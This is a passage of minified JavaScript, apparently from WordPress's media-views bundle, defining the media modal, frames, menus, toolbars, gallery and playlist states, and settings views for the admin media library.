wp.media.model.Selection(this.image.attachment,{multiple:!1}),e.prototype.initialize.apply(this,arguments)},bindHandlers:function(){e.prototype.bindHandlers.apply(this,arguments),this.on("menu:create:image-details",this.createMenu,this),this.on("content:create:image-details",this.imageDetailsContent,this),this.on("content:render:edit-image",this.editImageContent,this),this.on("toolbar:render:image-details",this.renderImageDetailsToolbar,this),this.on("toolbar:render:replace",this.renderReplaceImageToolbar,this)},createStates:function(){this.states.add([new wp.media.controller.ImageDetails({image:this.image,editable:!1}),new wp.media.controller.ReplaceImage({id:"replace-image",library:wp.media.query({type:"image"}),image:this.image,multiple:!1,title:s.imageReplaceTitle,toolbar:"replace",priority:80,displaySettings:!0}),new wp.media.controller.EditImage({image:this.image,selection:this.options.selection})])},imageDetailsContent:function(t){t.view=new wp.media.view.ImageDetails({controller:this,model:this.state().image,attachment:this.state().image.attachment})},editImageContent:function(){var t=this.state().get("image");t&&(t=new wp.media.view.EditImage({model:t,controller:this}).render(),this.content.set(t),t.loadEditor())},renderImageDetailsToolbar:function(){this.toolbar.set(new wp.media.view.Toolbar({controller:this,items:{select:{style:"primary",text:s.update,priority:80,click:function(){var t=this.controller,e=t.state();t.close(),e.trigger("update",t.image.toJSON()),t.setState(t.options.state),t.reset()}}}}))},renderReplaceImageToolbar:function(){var t=this,e=t.lastState(),i=e&&e.id;this.toolbar.set(new wp.media.view.Toolbar({controller:this,items:{back:{text:s.back,priority:80,click:function(){i?t.setState(i):t.close()}},replace:{style:"primary",text:s.replace,priority:20,requires:{selection:!0},click:function(){var t=this.controller,e=t.state(),i=e.get("selection").single();t.close(),t.image.changeAttachment(i,e.display(i)),e.trigger("replace",t.image.toJSON()),t.setState(t.options.state),t.reset()}}}}))}});t.exports=i},9075:function(t){var e=wp.media.view.MediaFrame.Select,i=wp.media.controller.Library,o=wp.media.view.l10n,s=e.extend({initialize:function(){this.counts={audio:{count:wp.media.view.settings.attachmentCounts.audio,state:"playlist"},video:{count:wp.media.view.settings.attachmentCounts.video,state:"video-playlist"}},_.defaults(this.options,{multiple:!0,editing:!1,state:"insert",metadata:{}}),e.prototype.initialize.apply(this,arguments),this.createIframeStates()},createStates:function(){var t=this.options;this.states.add([new i({id:"insert",title:o.insertMediaTitle,priority:20,toolbar:"main-insert",filterable:"all",library:wp.media.query(t.library),multiple:!!t.multiple&&"reset",editable:!0,allowLocalEdits:!0,displaySettings:!0,displayUserSettings:!0}),new i({id:"gallery",title:o.createGalleryTitle,priority:40,toolbar:"main-gallery",filterable:"uploaded",multiple:"add",editable:!1,library:wp.media.query(_.defaults({type:"image"},t.library))}),new wp.media.controller.Embed({metadata:t.metadata}),new wp.media.controller.EditImage({model:t.editImage}),new wp.media.controller.GalleryEdit({library:t.selection,editing:t.editing,menu:"gallery"}),new wp.media.controller.GalleryAdd,new i({id:"playlist",title:o.createPlaylistTitle,priority:60,toolbar:"main-playlist",filterable:"uploaded",multiple:"add",editable:!1,library:wp.media.query(_.defaults({type:"audio"},t.library))}),new wp.media.controller.CollectionEdit({type:"audio",collectionType:"playlist",title:o.editPlaylistTitle,SettingsView:wp.media.view.Settings.Playlist,library:t.selection,editing:t.editing,menu:"playlist",dragInfoText:o.playlistDragInfo,dragInfo:!1}),new wp.media.controller.CollectionAdd({type:"audio",collectionType:"playlist",title:o.addToPlaylistTitle}),new i({id:"video-playlist",title:o.createVideoPlaylistTitle,priority:60,toolbar:"main-video-playlist",filterable:"uploaded",multiple:"add",editable:!1,library:wp.media.query(_.defaults({type:"video"},t.library))}),new wp.media.controller.CollectionEdit({type:"video",collectionType:"playlist",title:o.editVideoPlaylistTitle,SettingsView:wp.media.view.Settings.Playlist,library:t.selection,editing:t.editing,menu:"video-playlist",dragInfoText:o.videoPlaylistDragInfo,dragInfo:!1}),new wp.media.controller.CollectionAdd({type:"video",collectionType:"playlist",title:o.addToVideoPlaylistTitle})]),wp.media.view.settings.post.featuredImageId&&this.states.add(new wp.media.controller.FeaturedImage)},bindHandlers:function(){e.prototype.bindHandlers.apply(this,arguments),this.on("activate",this.activate,this),void 0!==_.find(this.counts,function(t){return 0===t.count})&&this.listenTo(wp.media.model.Attachments.all,"change:type",this.mediaTypeCounts),this.on("menu:create:gallery",this.createMenu,this),this.on("menu:create:playlist",this.createMenu,this),this.on("menu:create:video-playlist",this.createMenu,this),this.on("toolbar:create:main-insert",this.createToolbar,this),this.on("toolbar:create:main-gallery",this.createToolbar,this),this.on("toolbar:create:main-playlist",this.createToolbar,this),this.on("toolbar:create:main-video-playlist",this.createToolbar,this),this.on("toolbar:create:featured-image",this.featuredImageToolbar,this),this.on("toolbar:create:main-embed",this.mainEmbedToolbar,this),_.each({menu:{default:"mainMenu",gallery:"galleryMenu",playlist:"playlistMenu","video-playlist":"videoPlaylistMenu"},content:{embed:"embedContent","edit-image":"editImageContent","edit-selection":"editSelectionContent"},toolbar:{"main-insert":"mainInsertToolbar","main-gallery":"mainGalleryToolbar","gallery-edit":"galleryEditToolbar","gallery-add":"galleryAddToolbar","main-playlist":"mainPlaylistToolbar","playlist-edit":"playlistEditToolbar","playlist-add":"playlistAddToolbar","main-video-playlist":"mainVideoPlaylistToolbar","video-playlist-edit":"videoPlaylistEditToolbar","video-playlist-add":"videoPlaylistAddToolbar"}},function(t,i){_.each(t,function(t,e){this.on(i+":render:"+e,this[t],this)},this)},this)},activate:function(){_.each(this.counts,function(t){t.count<1&&this.menuItemVisibility(t.state,"hide")},this)},mediaTypeCounts:function(t,e){void 0!==this.counts[e]&&this.counts[e].count<1&&(this.counts[e].count++,this.menuItemVisibility(this.counts[e].state,"show"))},mainMenu:function(t){t.set({"library-separator":new wp.media.View({className:"separator",priority:100,attributes:{role:"presentation"}})})},menuItemVisibility:function(t,e){var i=this.menu.get();"hide"===e?i.hide(t):"show"===e&&i.show(t)},galleryMenu:function(t){var e=this.lastState(),i=e&&e.id,s=this;t.set({cancel:{text:o.cancelGalleryTitle,priority:20,click:function(){i?s.setState(i):s.close(),this.controller.modal.focusManager.focus()}},separateCancel:new wp.media.View({className:"separator",priority:40})})},playlistMenu:function(t){var e=this.lastState(),i=e&&e.id,s=this;t.set({cancel:{text:o.cancelPlaylistTitle,priority:20,click:function(){i?s.setState(i):s.close(),this.controller.modal.focusManager.focus()}},separateCancel:new wp.media.View({className:"separator",priority:40})})},videoPlaylistMenu:function(t){var e=this.lastState(),i=e&&e.id,s=this;t.set({cancel:{text:o.cancelVideoPlaylistTitle,priority:20,click:function(){i?s.setState(i):s.close(),this.controller.modal.focusManager.focus()}},separateCancel:new wp.media.View({className:"separator",priority:40})})},embedContent:function(){var t=new wp.media.view.Embed({controller:this,model:this.state()}).render();this.content.set(t)},editSelectionContent:function(){var t=this.state(),e=t.get("selection"),e=new wp.media.view.AttachmentsBrowser({controller:this,collection:e,selection:e,model:t,sortable:!0,search:!1,date:!1,dragInfo:!0,AttachmentView:wp.media.view.Attachments.EditSelection}).render();e.toolbar.set("backToLibrary",{text:o.returnToLibrary,priority:-100,click:function(){this.controller.content.mode("browse"),this.controller.modal.focusManager.focus()}}),this.content.set(e),this.trigger("edit:selection",this)},editImageContent:function(){var t=this.state().get("image"),t=new wp.media.view.EditImage({model:t,controller:this}).render();this.content.set(t),t.loadEditor()},selectionStatusToolbar:function(t){var e=this.state().get("editable");t.set("selection",new wp.media.view.Selection({controller:this,collection:this.state().get("selection"),priority:-40,editable:e&&function(){this.controller.content.mode("edit-selection")}}).render())},mainInsertToolbar:function(t){var i=this;this.selectionStatusToolbar(t),t.set("insert",{style:"primary",priority:80,text:o.insertIntoPost,requires:{selection:!0},click:function(){var t=i.state(),e=t.get("selection");i.close(),t.trigger("insert",e).reset()}})},mainGalleryToolbar:function(t){var s=this;this.selectionStatusToolbar(t),t.set("gallery",{style:"primary",text:o.createNewGallery,priority:60,requires:{selection:!0},click:function(){var t=s.state().get("selection"),e=s.state("gallery-edit"),i=t.where({type:"image"});e.set("library",new wp.media.model.Selection(i,{props:t.props.toJSON(),multiple:!0})),this.controller.setState("gallery-edit"),this.controller.modal.focusManager.focus()}})},mainPlaylistToolbar:function(t){var s=this;this.selectionStatusToolbar(t),t.set("playlist",{style:"primary",text:o.createNewPlaylist,priority:100,requires:{selection:!0},click:function(){var t=s.state().get("selection"),e=s.state("playlist-edit"),i=t.where({type:"audio"});e.set("library",new wp.media.model.Selection(i,{props:t.props.toJSON(),multiple:!0})),this.controller.setState("playlist-edit"),this.controller.modal.focusManager.focus()}})},mainVideoPlaylistToolbar:function(t){var s=this;this.selectionStatusToolbar(t),t.set("video-playlist",{style:"primary",text:o.createNewVideoPlaylist,priority:100,requires:{selection:!0},click:function(){var t=s.state().get("selection"),e=s.state("video-playlist-edit"),i=t.where({type:"video"});e.set("library",new wp.media.model.Selection(i,{props:t.props.toJSON(),multiple:!0})),this.controller.setState("video-playlist-edit"),this.controller.modal.focusManager.focus()}})},featuredImageToolbar:function(t){this.createSelectToolbar(t,{text:o.setFeaturedImage,state:this.options.state})},mainEmbedToolbar:function(t){t.view=new wp.media.view.Toolbar.Embed({controller:this})},galleryEditToolbar:function(){var t=this.state().get("editing");this.toolbar.set(new wp.media.view.Toolbar({controller:this,items:{insert:{style:"primary",text:t?o.updateGallery:o.insertGallery,priority:80,requires:{library:!0},click:function(){var t=this.controller,e=t.state();t.close(),e.trigger("update",e.get("library")),t.setState(t.options.state),t.reset()}}}}))},galleryAddToolbar:function(){this.toolbar.set(new wp.media.view.Toolbar({controller:this,items:{insert:{style:"primary",text:o.addToGallery,priority:80,requires:{selection:!0},click:function(){var t=this.controller,e=t.state();t.state("gallery-edit").get("library").add(e.get("selection").models),e.trigger("reset"),t.setState("gallery-edit"),this.controller.modal.focusManager.focus()}}}}))},playlistEditToolbar:function(){var t=this.state().get("editing");this.toolbar.set(new wp.media.view.Toolbar({controller:this,items:{insert:{style:"primary",text:t?o.updatePlaylist:o.insertPlaylist,priority:80,requires:{library:!0},click:function(){var t=this.controller,e=t.state();t.close(),e.trigger("update",e.get("library")),t.setState(t.options.state),t.reset()}}}}))},playlistAddToolbar:function(){this.toolbar.set(new wp.media.view.Toolbar({controller:this,items:{insert:{style:"primary",text:o.addToPlaylist,priority:80,requires:{selection:!0},click:function(){var t=this.controller,e=t.state();t.state("playlist-edit").get("library").add(e.get("selection").models),e.trigger("reset"),t.setState("playlist-edit"),this.controller.modal.focusManager.focus()}}}}))},videoPlaylistEditToolbar:function(){var t=this.state().get("editing");this.toolbar.set(new wp.media.view.Toolbar({controller:this,items:{insert:{style:"primary",text:t?o.updateVideoPlaylist:o.insertVideoPlaylist,priority:140,requires:{library:!0},click:function(){var t=this.controller,e=t.state(),i=e.get("library");i.type="video",t.close(),e.trigger("update",i),t.setState(t.options.state),t.reset()}}}}))},videoPlaylistAddToolbar:function(){this.toolbar.set(new wp.media.view.Toolbar({controller:this,items:{insert:{style:"primary",text:o.addToVideoPlaylist,priority:140,requires:{selection:!0},click:function(){var t=this.controller,e=t.state();t.state("video-playlist-edit").get("library").add(e.get("selection").models),e.trigger("reset"),t.setState("video-playlist-edit"),this.controller.modal.focusManager.focus()}}}}))}});t.exports=s},8719:function(t){var e=wp.media.view.MediaFrame,i=wp.media.view.l10n,s=e.extend({initialize:function(){e.prototype.initialize.apply(this,arguments),_.defaults(this.options,{selection:[],library:{},multiple:!1,state:"library"}),this.createSelection(),this.createStates(),this.bindHandlers()},createSelection:function(){var t=this.options.selection;t instanceof wp.media.model.Selection||(this.options.selection=new wp.media.model.Selection(t,{multiple:this.options.multiple})),this._selection={attachments:new wp.media.model.Attachments,difference:[]}},editImageContent:function(){var t=this.state().get("image"),t=new wp.media.view.EditImage({model:t,controller:this}).render();this.content.set(t),t.loadEditor()},createStates:function(){var t=this.options;this.options.states||this.states.add([new wp.media.controller.Library({library:wp.media.query(t.library),multiple:t.multiple,title:t.title,priority:20}),new wp.media.controller.EditImage({model:t.editImage})])},bindHandlers:function(){this.on("router:create:browse",this.createRouter,this),this.on("router:render:browse",this.browseRouter,this),this.on("content:create:browse",this.browseContent,this),this.on("content:render:upload",this.uploadContent,this),this.on("toolbar:create:select",this.createSelectToolbar,this),this.on("content:render:edit-image",this.editImageContent,this)},browseRouter:function(t){t.set({upload:{text:i.uploadFilesTitle,priority:20},browse:{text:i.mediaLibraryTitle,priority:40}})},browseContent:function(t){var e=this.state();this.$el.removeClass("hide-toolbar"),t.view=new wp.media.view.AttachmentsBrowser({controller:this,collection:e.get("library"),selection:e.get("selection"),model:e,sortable:e.get("sortable"),search:e.get("searchable"),filters:e.get("filterable"),date:e.get("date"),display:e.has("display")?e.get("display"):e.get("displaySettings"),dragInfo:e.get("dragInfo"),idealColumnWidth:e.get("idealColumnWidth"),suggestedWidth:e.get("suggestedWidth"),suggestedHeight:e.get("suggestedHeight"),AttachmentView:e.get("AttachmentView")})},uploadContent:function(){this.$el.removeClass("hide-toolbar"),this.content.set(new wp.media.view.UploaderInline({controller:this}))},createSelectToolbar:function(t,e){(e=e||this.options.button||{}).controller=this,t.view=new wp.media.view.Toolbar.Select(e)}});t.exports=s},7990:function(t){var e=wp.media.View.extend({tagName:function(){return this.options.level||"h1"},className:"media-views-heading",initialize:function(){this.options.className&&this.$el.addClass(this.options.className),this.text=this.options.text},render:function(){return this.$el.html(this.text),this}});t.exports=e},6217:function(t){var e=wp.media.View.extend({className:"media-iframe",render:function(){return this.views.detach(),this.$el.html('<iframe src="'+this.controller.state().get("src")+'" />'),this.views.render(),this}});t.exports=e},7598:function(t){var e=wp.media.view.Settings.AttachmentDisplay,o=jQuery,i=e.extend({className:"image-details",template:wp.template("image-details"),events:_.defaults(e.prototype.events,{"click .edit-attachment":"editAttachment","click .replace-attachment":"replaceAttachment","click .advanced-toggle":"onToggleAdvanced",'change [data-setting="customWidth"]':"onCustomSize",'change [data-setting="customHeight"]':"onCustomSize",'keyup [data-setting="customWidth"]':"onCustomSize",'keyup [data-setting="customHeight"]':"onCustomSize"}),initialize:function(){this.options.attachment=this.model.attachment,this.listenTo(this.model,"change:url",this.updateUrl),this.listenTo(this.model,"change:link",this.toggleLinkSettings),this.listenTo(this.model,"change:size",this.toggleCustomSize),e.prototype.initialize.apply(this,arguments)},prepare:function(){var t=!1;return this.model.attachment&&(t=this.model.attachment.toJSON()),_.defaults({model:this.model.toJSON(),attachment:t},this.options)},render:function(){var t=arguments;return this.model.attachment&&"pending"===this.model.dfd.state()?this.model.dfd.done(_.bind(function(){e.prototype.render.apply(this,t),this.postRender()},this)).fail(_.bind(function(){this.model.attachment=!1,e.prototype.render.apply(this,t),this.postRender()},this)):(e.prototype.render.apply(this,arguments),this.postRender()),this},postRender:function(){setTimeout(_.bind(this.scrollToTop,this),10),this.toggleLinkSettings(),"show"===window.getUserSetting("advImgDetails")&&this.toggleAdvanced(!0),this.trigger("post-render")},scrollToTop:function(){this.$(".embed-media-settings").scrollTop(0)},updateUrl:function(){this.$(".image img").attr("src",this.model.get("url")),this.$(".url").val(this.model.get("url"))},toggleLinkSettings:function(){"none"===this.model.get("link")?this.$(".link-settings").addClass("hidden"):this.$(".link-settings").removeClass("hidden")},toggleCustomSize:function(){"custom"!==this.model.get("size")?this.$(".custom-size").addClass("hidden"):this.$(".custom-size").removeClass("hidden")},onCustomSize:function(t){var e,i=o(t.target).data("setting"),s=o(t.target).val();!/^\d+/.test(s)||parseInt(s,10)<1?t.preventDefault():"customWidth"===i?(e=Math.round(1/this.model.get("aspectRatio")*s),this.model.set("customHeight",e,{silent:!0}),this.$('[data-setting="customHeight"]').val(e)):(e=Math.round(this.model.get("aspectRatio")*s),this.model.set("customWidth",e,{silent:!0}),this.$('[data-setting="customWidth"]').val(e))},onToggleAdvanced:function(t){t.preventDefault(),this.toggleAdvanced()},toggleAdvanced:function(t){var e=this.$el.find(".advanced-section"),t=e.hasClass("advanced-visible")||!1===t?(e.removeClass("advanced-visible"),e.find(".advanced-settings").addClass("hidden"),"hide"):(e.addClass("advanced-visible"),e.find(".advanced-settings").removeClass("hidden"),"show");window.setUserSetting("advImgDetails",t)},editAttachment:function(t){var e=this.controller.states.get("edit-image");window.imageEdit&&e&&(t.preventDefault(),e.set("image",this.model.attachment),this.controller.setState("edit-image"))},replaceAttachment:function(t){t.preventDefault(),this.controller.setState("replace-image")}});t.exports=i},6644:function(t){var e=wp.media.View.extend({tagName:"label",className:"screen-reader-text",initialize:function(){this.value=this.options.value},render:function(){return this.$el.html(this.value),this}});t.exports=e},4861:function(t){var e=wp.media.view.Frame,i=wp.media.view.l10n,o=jQuery,s=e.extend({className:"media-frame",template:wp.template("media-frame"),regions:["menu","title","content","toolbar","router"],events:{"click .media-frame-menu-toggle":"toggleMenu"},initialize:function(){e.prototype.initialize.apply(this,arguments),_.defaults(this.options,{title:i.mediaFrameDefaultTitle,modal:!0,uploader:!0}),this.$el.addClass("wp-core-ui"),this.options.modal&&(this.modal=new wp.media.view.Modal({controller:this,title:this.options.title}),this.modal.content(this)),!wp.Uploader.limitExceeded&&wp.Uploader.browser.supported||(this.options.uploader=!1),this.options.uploader&&(this.uploader=new wp.media.view.UploaderWindow({controller:this,uploader:{dropzone:(this.modal||this).$el,container:this.$el}}),this.views.set(".media-frame-uploader",this.uploader)),this.on("attach",_.bind(this.views.ready,this.views),this),this.on("title:create:default",this.createTitle,this),this.title.mode("default"),this.on("menu:create:default",this.createMenu,this),this.on("open",this.setMenuTabPanelAriaAttributes,this),this.on("open",this.setRouterTabPanelAriaAttributes,this),this.on("content:render",this.setMenuTabPanelAriaAttributes,this),this.on("content:render",this.setRouterTabPanelAriaAttributes,this)},setMenuTabPanelAriaAttributes:function(){var t=this.state().get("id"),e=this.$el.find(".media-frame-tab-panel");e.removeAttr("role aria-labelledby tabindex"),this.state().get("menu")&&this.menuView&&this.menuView.isVisible&&e.attr({role:"tabpanel","aria-labelledby":"menu-item-"+t,tabIndex:"0"})},setRouterTabPanelAriaAttributes:function(){var t,e=this.$el.find(".media-frame-content");e.removeAttr("role aria-labelledby tabindex"),this.state().get("router")&&this.routerView&&this.routerView.isVisible&&this.content._mode&&(t="menu-item-"+this.content._mode,e.attr({role:"tabpanel","aria-labelledby":t,tabIndex:"0"}))},render:function(){return!this.state()&&this.options.state&&this.setState(this.options.state),e.prototype.render.apply(this,arguments)},createTitle:function(t){t.view=new wp.media.View({controller:this,tagName:"h1"})},createMenu:function(t){t.view=new wp.media.view.Menu({controller:this,attributes:{role:"tablist","aria-orientation":"vertical"}}),this.menuView=t.view},toggleMenu:function(t){var e=this.$el.find(".media-menu");e.toggleClass("visible"),o(t.target).attr("aria-expanded",e.hasClass("visible"))},createToolbar:function(t){t.view=new wp.media.view.Toolbar({controller:this})},createRouter:function(t){t.view=new wp.media.view.Router({controller:this,attributes:{role:"tablist","aria-orientation":"horizontal"}}),this.routerView=t.view},createIframeStates:function(i){var t=wp.media.view.settings,e=t.tabs,s=t.tabUrl;e&&s&&((t=o("#post_ID")).length&&(s+="&post_id="+t.val()),_.each(e,function(t,e){this.state("iframe:"+e).set(_.defaults({tab:e,src:s+"&tab="+e,title:t,content:"iframe",menu:"default"},i))},this),this.on("content:create:iframe",this.iframeContent,this),this.on("content:deactivate:iframe",this.iframeContentCleanup,this),this.on("menu:render:default",this.iframeMenu,this),this.on("open",this.hijackThickbox,this),this.on("close",this.restoreThickbox,this))},iframeContent:function(t){this.$el.addClass("hide-toolbar"),t.view=new wp.media.view.Iframe({controller:this})},iframeContentCleanup:function(){this.$el.removeClass("hide-toolbar")},iframeMenu:function(t){var i={};t&&(_.each(wp.media.view.settings.tabs,function(t,e){i["iframe:"+e]={text:this.state("iframe:"+e).get("title"),priority:200}},this),t.set(i))},hijackThickbox:function(){var t=this;window.tb_remove&&!this._tb_remove&&(this._tb_remove=window.tb_remove,window.tb_remove=function(){t.close(),t.reset(),t.setState(t.options.state),t._tb_remove.call(window)})},restoreThickbox:function(){this._tb_remove&&(window.tb_remove=this._tb_remove,delete this._tb_remove)}});_.each(["open","close","attach","detach","escape"],function(t){s.prototype[t]=function(){return this.modal&&this.modal[t].apply(this.modal,arguments),this}}),t.exports=s},917:function(t){var e=wp.media.View.extend({tagName:"button",className:"media-menu-item",attributes:{type:"button",role:"tab"},events:{click:"_click"},_click:function(){var t=this.options.click;t?t.call(this):this.click()},click:function(){var t=this.options.state;t&&(this.controller.setState(t),this.views.parent.$el.removeClass("visible"))},render:function(){var t=this.options,e=t.state||t.contentMode;return t.text?this.$el.text(t.text):t.html&&this.$el.html(t.html),this.$el.attr("id","menu-item-"+e),this}});t.exports=e},2596:function(t){var e=wp.media.view.MenuItem,i=wp.media.view.PriorityList,e=i.extend({tagName:"div",className:"media-menu",property:"state",ItemView:e,region:"menu",attributes:{role:"tablist","aria-orientation":"horizontal"},initialize:function(){this._views={},this.set(_.extend({},this._views,this.options.views),{silent:!0}),delete this.options.views,this.options.silent||this.render(),this.focusManager=new wp.media.view.FocusManager({el:this.el,mode:"tabsNavigation"}),this.isVisible=!0},toView:function(t,e){return(t=t||{})[this.property]=t[this.property]||e,new this.ItemView(t).render()},ready:function(){i.prototype.ready.apply(this,arguments),this.visibility(),this.focusManager.setupAriaTabs()},set:function(){i.prototype.set.apply(this,arguments),this.visibility()},unset:function(){i.prototype.unset.apply(this,arguments),this.visibility()},visibility:function(){var t=this.region,e=this.controller[t].get(),i=this.views.get(),i=!i||i.length<2;this===e&&(this.isVisible=!i,this.controller.$el.toggleClass("hide-"+t,i))},select:function(t){t=this.get(t);t&&(this.deselect(),t.$el.addClass("active"),this.focusManager.setupAriaTabs())},deselect:function(){this.$el.children().removeClass("active")},hide:function(t){t=this.get(t);t&&t.$el.addClass("hidden")},show:function(t){t=this.get(t);t&&t.$el.removeClass("hidden")}});t.exports=e},3939:function(t){var i=jQuery,e=wp.media.View.extend({tagName:"div",template:wp.template("media-modal"),events:{"click .media-modal-backdrop, .media-modal-close":"escapeHandler",keydown:"keydown"},clickedOpenerEl:null,initialize:function(){_.defaults(this.options,{container:document.body,title:"",propagate:!0,hasCloseButton:!0}),this.focusManager=new wp.media.view.FocusManager({el:this.el})},prepare:function(){return{title:this.options.title,hasCloseButton:this.options.hasCloseButton}},attach:function(){return this.views.attached?this:(this.views.rendered||this.render(),this.$el.appendTo(this.options.container),this.views.attached=!0,this.views.ready(),this.propagate("attach"))},detach:function(){return this.$el.is(":visible")&&this.close(),this.$el.detach(),this.views.attached=!1,this.propagate("detach")},open:function(){var t,e=this.$el;return e.is(":visible")?this:(this.clickedOpenerEl=document.activeElement,this.views.attached||this.attach(),i("body").addClass("modal-open"),e.show(),"ontouchend"in document&&(t=window.tinymce&&window.tinymce.activeEditor)&&!t.isHidden()&&t.iframeElement&&(t.iframeElement.focus(),t.iframeElement.blur(),setTimeout(function(){t.iframeElement.blur()},100)),this.$(".media-modal").trigger("focus"),this.focusManager.setAriaHiddenOnBodyChildren(e),this.propagate("open"))},close:function(t){return this.views.attached&&this.$el.is(":visible")&&(i(".mejs-pause button").trigger("click"),i("body").removeClass("modal-open"),this.$el.hide(),this.focusManager.removeAriaHiddenFromBodyChildren(),null!==this.clickedOpenerEl?this.clickedOpenerEl.focus():i("#wpbody-content").attr("tabindex","-1").trigger("focus"),this.propagate("close"),t&&t.escape&&this.propagate("escape")),this},escape:function(){return this.close({escape:!0})},escapeHandler:function(t){t.preventDefault(),this.escape()},content:function(t){return this.views.set(".media-modal-content",t),this},propagate:function(t){return this.trigger(t),this.options.propagate&&this.controller.trigger(t),this},keydown:function(t){27===t.which&&this.$el.is(":visible")&&(this.escape(),t.stopImmediatePropagation())}});t.exports=e},1993:function(t){var e=wp.media.View.extend({tagName:"div",initialize:function(){this._views={},this.set(_.extend({},this._views,this.options.views),{silent:!0}),delete this.options.views,this.options.silent||this.render()},set:function(t,e,i){var s,o;return i=i||{},_.isObject(t)?_.each(t,function(t,e){this.set(e,t)},this):((e=e instanceof Backbone.View?e:this.toView(e,t,i)).controller=e.controller||this.controller,this.unset(t),s=e.options.priority||10,i=this.views.get()||[],_.find(i,function(t,e){if(t.options.priority>s)return o=e,!0}),this._views[t]=e,this.views.add(e,{at:_.isNumber(o)?o:i.length||0})),this},get:function(t){return this._views[t]},unset:function(t){var e=this.get(t);return e&&e.remove(),delete this._views[t],this},toView:function(t){return new wp.media.View(t)}});t.exports=e},9484:function(t){var e=wp.media.view.MenuItem.extend({click:function(){var t=this.options.contentMode;t&&this.controller.content.mode(t)}});t.exports=e},1562:function(t){var e=wp.media.view.Menu,i=e.extend({tagName:"div",className:"media-router",property:"contentMode",ItemView:wp.media.view.RouterItem,region:"router",attributes:{role:"tablist","aria-orientation":"horizontal"},initialize:function(){this.controller.on("content:render",this.update,this),e.prototype.initialize.apply(this,arguments)},update:function(){var t=this.controller.content.mode();t&&this.select(t)}});t.exports=i},4556:function(t){var e=wp.media.View.extend({tagName:"input",className:"search",id:"media-search-input",attributes:{type:"search"},events:{input:"search"},render:function(){return this.el.value=this.model.escape("search"),this},search:_.debounce(function(t){t=t.target.value.trim();t&&1<t.length?this.model.set("search",t):this.model.unset("search")},500)});t.exports=e},6191:function(t){var i=wp.i18n._n,s=wp.i18n.sprintf,e=wp.media.View.extend({tagName:"div",className:"media-selection",template:wp.template("media-selection"),events:{"click .edit-selection":"edit","click .clear-selection":"clear"},initialize:function(){_.defaults(this.options,{editable:!1,clearable:!0}),this.attachments=new wp.media.view.Attachments.Selection({controller:this.controller,collection:this.collection,selection:this.collection,model:new Backbone.Model}),this.views.set(".selection-view",this.attachments),this.collection.on("add remove reset",this.refresh,this),this.controller.on("content:activate",this.refresh,this)},ready:function(){this.refresh()},refresh:function(){var t,e;this.$el.children().length&&(t=this.collection,e="edit-selection"===this.controller.content.mode(),this.$el.toggleClass("empty",!t.length),this.$el.toggleClass("one",1===t.length),this.$el.toggleClass("editing",e),this.$(".count").text(s(i("%s item selected","%s items selected",t.length),t.length)))},edit:function(t){t.preventDefault(),this.options.editable&&this.options.editable.call(this,this.collection)},clear:function(t){t.preventDefault(),this.collection.reset(),this.controller.modal.focusManager.focus()}});t.exports=e},859:function(t){var e=wp.media.View,s=Backbone.$,i=e.extend({events:{"click button":"updateHandler","change input":"updateHandler","change select":"updateHandler","change textarea":"updateHandler"},initialize:function(){this.model=this.model||new Backbone.Model,this.listenTo(this.model,"change",this.updateChanges)},prepare:function(){return _.defaults({model:this.model.toJSON()},this.options)},render:function(){return e.prototype.render.apply(this,arguments),_(this.model.attributes).chain().keys().each(this.update,this),this},update:function(t){var e,i=this.model.get(t),s=this.$('[data-setting="'+t+'"]');s.length&&(s.is("select")?(e=s.find('[value="'+i+'"]')).length?(s.find("option").prop("selected",!1),e.prop("selected",!0)):this.model.set(t,s.find(":selected").val()):s.hasClass("button-group")?s.find("button").removeClass("active").attr("aria-pressed","false").filter('[value="'+i+'"]').addClass("active").attr("aria-pressed","true"):s.is('input[type="text"], textarea')?s.is(":focus")||s.val(i):s.is('input[type="checkbox"]')&&s.prop("checked",!!i&&"false"!==i))},updateHandler:function(t){var e=s(t.target).closest("[data-setting]"),i=t.target.value;t.preventDefault(),e.length&&(e.is('input[type="checkbox"]')&&(i=e[0].checked),this.model.set(e.data("setting"),i),(t=e.data("userSetting"))&&window.setUserSetting(t,i))},updateChanges:function(t){t.hasChanged()&&_(t.changed).chain().keys().each(this.update,this)}});t.exports=i},2176:function(t){var e=wp.media.view.Settings,i=e.extend({className:"attachment-display-settings",template:wp.template("attachment-display-settings"),initialize:function(){var t=this.options.attachment;_.defaults(this.options,{userSettings:!1}),e.prototype.initialize.apply(this,arguments),this.listenTo(this.model,"change:link",this.updateLinkTo),t&&t.on("change:uploading",this.render,this)},dispose:function(){var t=this.options.attachment;t&&t.off(null,null,this),e.prototype.dispose.apply(this,arguments)},render:function(){var t=this.options.attachment;return t&&_.extend(this.options,{sizes:t.get("sizes"),type:t.get("type")}),e.prototype.render.call(this),this.updateLinkTo(),this},updateLinkTo:function(){var t=this.model.get("link"),e=this.$(".link-to-custom"),i=this.options.attachment;"none"===t||"embed"===t||!i&&"custom"!==t?e.closest(".setting").addClass("hidden"):(i&&("post"===t?e.val(i.get("link")):"file"===t?e.val(i.get("url")):this.model.get("linkUrl")||e.val("http://"),e.prop("readonly","custom"!==t)),e.closest(".setting").removeClass("hidden"),e.length&&e[0].scrollIntoView())}});t.exports=i},6872:function(t){var e=wp.media.view.Settings.extend({className:"collection-settings gallery-settings",template:wp.template("gallery-settings")});t.exports=e},8488:function(t){var e=wp.media.view.Settings.extend({className:"collection-settings playlist-settings",template:wp.template("playlist-settings")});t.exports=e},9799:function(t){var e=wp.media.view.PriorityList.extend({className:"media-sidebar"});t.exports=e},5187:function(t){var e=wp.media.view,i=e.Cropper.extend({className:"crop-content site-icon",ready:function(){e.Cropper.prototype.ready.apply(this,arguments),this.$(".crop-image").on("load",_.bind(this.addSidebar,this))},addSidebar:function(){this.sidebar=new wp.media.view.Sidebar({controller:this.controller}),this.sidebar.set("preview",new wp.media.view.SiteIconPreview({controller:this.controller,attachment:this.options.attachment})),this.controller.cropperView.views.add(this.sidebar)}});t.exports=i},8260:function(t){var e=wp.media.View,a=jQuery,e=e.extend({className:"site-icon-preview",template:wp.template("site-icon-preview"),ready:function(){this.controller.imgSelect.setOptions({onInit:this.updatePreview,onSelectChange:this.updatePreview})},prepare:function(){return{url:this.options.attachment.get("url")}},updatePreview:function(t,e){var 